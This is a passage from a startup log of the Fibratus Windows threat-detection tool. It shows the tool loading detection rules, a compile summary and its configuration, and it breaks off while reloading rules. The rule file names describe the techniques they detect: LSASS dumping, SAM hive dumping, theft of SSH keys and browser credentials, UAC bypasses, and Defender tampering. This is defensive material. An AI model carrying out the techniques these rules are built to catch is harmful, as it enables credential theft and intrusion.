C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:39:50+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T16:39:50+01:00 level=info msg=bootstrapping with pid 11732. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:39:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] use-template=>true port=>25 enabled=>false content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-image=>true enable-fileio=>true enable-handle=>false flush-interval=>1s enable-threadpool=>false enable-thread=>true enable-mem=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-dns=>false enable-registry=>true min-buffers=>16 stack-enrichment=>true enable-audit-api=>true enable-vamap=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-backups=>15 level=>info formatter=>text max-age=>0] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck=>true timeout=>5s gzip-compression=>false trace-log=>false healthcheck-timeout=>5s sniff=>false healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus bulk-workers=>1 flush-period=>1s enabled=>false] http=>[ timeout=>5s enabled=>false enable-gzip=>false method=>POST serializer=>json endpoints=>[] tls-insecure-skip-verify=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ passive=>false timeout=>5s url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus exchange=>fibratus exchange-type=>topic durable=>false enabled=>false delivery-mode=>transient] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true scan-timeout=>10s enabled=>false skip-registry=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:39:50+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:39:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:44:28+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:44:28+01:00 